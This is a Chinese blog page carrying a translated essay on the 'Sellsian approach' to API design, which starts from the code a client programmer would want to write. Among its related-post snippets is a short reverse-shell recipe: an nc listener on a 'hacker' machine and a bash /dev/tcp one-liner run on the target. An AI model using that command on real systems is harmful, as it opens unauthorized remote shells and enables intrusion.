Sellsian 方法

Wordpress实战之第二章安装wordpress 软件需要的软件 使用下载并安装phpstudy面版工具 wget -O install.sh?https://notdocker.xp.cn/install.sh?&& sudo bash install.sh 2.安装成功如下 ==============运行状态========================= webpanel stop phpstudy running =================... 阅读详情

原文:The Sellsian Approach

大约在1994年,Chris Sells向我解释了他是如何通过“其它程序员”来设计软件的。

“首先,如果我是其他程序员,我会写我想到的代码。然后我会做一些理所当然的事情让代码运行起来。”

我明白从事TDD(Test-Driven Development)的那些人也是用相似的方法,但是焦点在于,在反复开发和执行上,还有更多。并且他们还要确保测试,作为整个进度中不可分割的部分,已经被编写。

Sells比常人都走得更远,他认为你想写的代码像“其他程序员”,是驱使API/object模型设计的动力,并且,实际上,也是你开始整个设计的出发点。

没有原则性的构架

没有UML

没有所谓的设计模式

甚至没有他们自己定义的接口

很明显,他们中的一个或多个都扮演着某种角色(尤其是最后一个),但是它们作为一个出发点,没有一个像这句简单的“我的客户想写什么”运动一样有用。是Chris让我对这些东西发生了兴趣。

看着无数的编程API和OM(不只是.NET对象),我想,要是原先的开发者们使用了Sellsian方法,那些对象不可能变得那么复杂。

 




Django 前后端分离实战:网络设备运维系统 - 从登录认证到业务模块 这篇文章分享了Django+Vue前后端分离开发网络设备运维系统的实战经验,重点介绍了登录认证、全局布局和设备管理三大模块的实现。文章包含以下核心内容: 登录模块实现:包括表单验证、Token认证、记住密码功能,以及美观的UI设计(渐变背景、毛玻璃效果) 全局布局架构:采用侧边栏+顶部导航的响应式设计,支持菜单权限控制和多设备适配 业务功能开发:详细展示了设备分类和部门管理的CRUD功能实现,包括列表展示、搜索过滤、分页等功能 常见问题解决:提供了5个开发中常见问题的解决方案,如Vue Router警告、C 阅读详情

相关推荐

setup time和hold time的计算

内容仅仅为了方便记忆,与原理无关

sddhyl的博客 7819

使用nc反弹shell方法

hacker机:192.168.1.1 目标机:192.168.1.2 1、在hacker机执行 nc -vlp 9999  (监听本机9999端口) 2、在目标机执行 bash -i >& /dev/tcp/192.168.1.1/9999 0>&1 成功反弹回shell

baidu_33260220的博客 6761

abaqus 根据坐标施加载荷- Analytical Field 载荷映射

在一些类型的分析中,需要将按位置分布的载荷施加到结构上,比如流体分析导出了结构的气动载荷、或者温度载荷,需要将压强分布、温度分布载荷施加到固体上。这种分析可以使用abaqus中的Analytical Field实现。 1 例子 1.1 结构 一个100*100mm的面,面的载荷分布函数为p=(x2+y2)0.5/((20.5)*100) MPa,即(0, 0)的压强为0,(100, 100)的压强为1。 1.2 载荷 载荷函数:p=(x^2+y^2)^0.5/((2^0.5)*100) in exce.

shengyutou的博客 2万+

生日快乐,有生的日子天天快乐

今天是我生日,过了今天,意味着我又大了一岁,古人云.三十而立,这是《论语?为政》中孔子对于自己在30岁时所达到人生状态的自我评价。原文是“吾十有五,而志于学。三十而立,四十而不惑,五十而知天命,六十而耳顺,七十而从心所欲。不逾矩”. 三十而立,我的理解是,在三十岁时,要有坦然面对一切困难的能力.我坚信我能做到.因为,我有这个能力. 在今天,少了一个人的祝福...

andyaqu的专栏 371

飞腾D2000开发板实战:手把手教你为UEFI/EDK2驱动SD3077 RTC时钟芯片

本文详细介绍了在飞腾D2000开发板上为UEFI/EDK2环境驱动SD3077 RTC时钟芯片的全流程开发指南。从硬件连接到软件适配,包括引脚复用配置、电源管理优化以及UEFI驱动的深度定制,帮助开发者解决嵌入式系统中的时间同步问题,确保RTC芯片的稳定性和准确性。

weixin_30892037的博客 425

企业微信群机器人Webhook配置全攻略:从创建到发送消息的完整流程

本文详细介绍了企业微信群机器人Webhook的配置流程,从创建机器人到获取Webhook地址,再到发送各类消息的完整步骤。通过Python代码示例展示了文本、Markdown等消息类型的发送方法,并提供了性能优化建议和常见问题排查技巧,帮助企业高效实现自动化消息推送。

weixin_29208327的博客 6874
上一篇: 总有更好的
下一篇: XQuery:我们完成了吗?
techweb
博客等级 码龄19年 226粉丝 3842原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值